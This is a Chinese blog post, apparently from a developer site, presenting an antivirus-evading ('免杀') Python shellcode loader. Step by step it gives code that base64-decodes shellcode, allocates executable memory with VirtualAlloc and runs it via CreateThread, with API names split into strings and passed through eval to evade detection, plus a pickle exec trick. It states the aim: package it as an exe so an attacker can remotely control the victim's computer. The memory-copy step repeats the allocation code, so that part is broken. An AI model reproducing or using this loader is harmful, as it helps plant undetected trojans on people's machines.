多年的实战经验,告诉你的免杀实录!

简介: 多年的实战经验,告诉你的免杀实录!

生成shellcode加载器,不论什么语言都能实现。从应用最广的Java和Pytho语言选择,我用Python实现shellcode加载器,原因2点:

      (1)Java开发shellcode加载器,最终打成.exe包远远大于Python,谁愿意下载一个几十M的文件呢?(2)因为自己有一定的Python基础,所以这里对Python实现的源码来进行分析。



一、首先我们生成一个Python的马,如下图:

二、对Python生成shellcode源码分析

1. Ctypes

由于Python不能对内存进行操作,可以用ctypes跟c进行交互,用c操作内存

import ctypes,codecs,base64

# 64位编码

shellcode = "XHhmY1x4NDhceDgzXHhlNFx4ZjBceGU4XHhj"
# base64解码
shellcode = base64.b64decode(shellcode)
shellcode =codecs.escape_decode(shellcode)[0]
shellcode = bytearray(shellcode)

2. 申请内存

  1. ctypes 是Python跟c交互的外部函数,用c分配内存,需要把数据转换为c的数据类型
  2. 参数:要分配的内存区域的地址、分配的大小、分配的类型、该内存的初始保护属性
  3. VirtualAlloc:分配大块内存,可用于 进程A和进程B之间通过共享内存来通信
  4. 该函数一个特性:可以预定指针地址和大小的虚拟内存空间,如果系统有足够大的空置区域能满足需求,则系统会将该块区域预定下来并返回预定内存的基地址,否则返回NULL
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

3. 放入shellcode

  1. 指定内存复制内存至buf里面
  2. 参数:指向移动目的地址的指针、指向要复制的内存地址的指针、指定要复制的字节数
a = 'ctypes.windll.' + 'kernel32.VirtualAlloc'
ptr = eval(a)(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))
#一个指针地址
print(ptr)

4.创建一个线程

  1. 参数说明:指向安全属性的指针、初始堆栈大小、指向起始地址的指针、指向任何参数的指针、创建标志、指向接收线程标识符的值的指针
  2. 调用时,系统将创建一个进程和一个主线程,CreateThread将在主线程的基础上创建一个新线程
d = 'ctypes.windll.kernel32.' + 'CreateThread'
ht = eval(d)(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))

5. 等待上面创建的线程运行完

e = 'ctypes.windll.kernel32.WaitFor' + 'SingleObject'
eval(e)(ctypes.c_int(ht),ctypes.c_int(-1))

6. 调用

class A(object):
  def __reduce__(self):
      return (exec, (shellcode,))
__reduce__ 被定义之后,对象被pickle之后被调用
ret = pickle.dumps(A())
print(ret)
pickle.loads(ret)

7. 最终达到目的

最后生成exe可执行文件

用户直接 执行exe,便种下一个免杀木马,攻击者便可以远控你的电脑

8. 最后测试木马免杀效果

9. 然后给沙箱

相关文章
|
开发者 知识图谱
免费下载!《阿里工程师的自我修养》公开10位阿里大牛解决问题的思维方式
今天,阿里技术公布一波阿里P8、P9技术大牛的思维模型,将他们的思维模式呈现出来。你可以在阿里资深专家职业生涯的真切感悟中,找到应对危机的最佳方法。《阿里工程师的自我修养》现已正式公开,可免费下载阅读。
135588 1
免费下载!《阿里工程师的自我修养》公开10位阿里大牛解决问题的思维方式
|
5月前
|
机器学习/深度学习 人工智能 算法
技术成长之路:从新手到专家的心路历程
【8月更文挑战第9天】在技术的世界里,每个人都是从零开始。本文将通过个人经历,探讨如何在技术的海洋中不断学习和成长,最终成为领域内的专家。我们将一起回顾那些挑战与成就,以及它们如何塑造了一个技术人员的职业轨迹。
|
8月前
|
SQL 安全 Java
网络安全面试题及经验分享(第一期)
本文原文来自:i春秋,转载以供自己复习使用,下面题目都是来自2023年面试题目和答案解析,题目是学员们真实的面试经历分享,具有很高的参考价值。
|
消息中间件 架构师 算法
好家伙!全网开源对标P5~P7程序员技术成长路线,阿里这次是真卷
今年的程序员可以说是最焦虑的一个群体了,面试找工作投简历没人理,有面试机会也面试不过,面试进去还干不长...于是,程序员们纷纷直呼:互联网寒冬又双叒叕来了,环境不好努力也没用躺平算了。
297 1
好家伙!全网开源对标P5~P7程序员技术成长路线,阿里这次是真卷
|
开发框架 Cloud Native NoSQL
腾讯阿里工程师所热衷的DPDK到底是个什么东西?
腾讯阿里工程师所热衷的DPDK到底是个什么东西?
|
新零售 Java 应用服务中间件
毕玄:我在阿里的十年技术感悟
在阿里,我们习惯尊称毕玄老师为“毕大师”。他2007年加入阿里,一手打造了HSF,十多年来更见证、参与了阿里在基础技术上的演进与发展:如淘宝在2007-2009年的分布式应用架构升级、2013-2016年的阿里电商异地多活架构升级等。但很少有人知道,他大学读的是生物专业。
13453 0
|
运维 Linux 云计算
Linux教程:Linux运维工程师必备入门法宝
小编相信你在看到这篇文章的时候,一定是想要学习Linux的,或者已经在学习Linux的路上了,那么对于正在学习得你,一定非常需要这份Linux教程,帮助你快速入门Linux。 成功不易唯有加倍努力!无论是什么原因学习Linux的,方法还是差不多的,想要快速入门,首先你要选择一本基础书籍带你入门。
|
关系型数据库 Linux 数据库
享受“折磨”——阿里专家铁庵十余年技术之路的思考与感悟
入职阿里云刚刚过了1000天,每天忙碌在产品及项目工作中时,有时也会疲惫。然而,每当想起自己的初心和理想,还有家人的支持,一切随即化作无限的幸福。
11398 0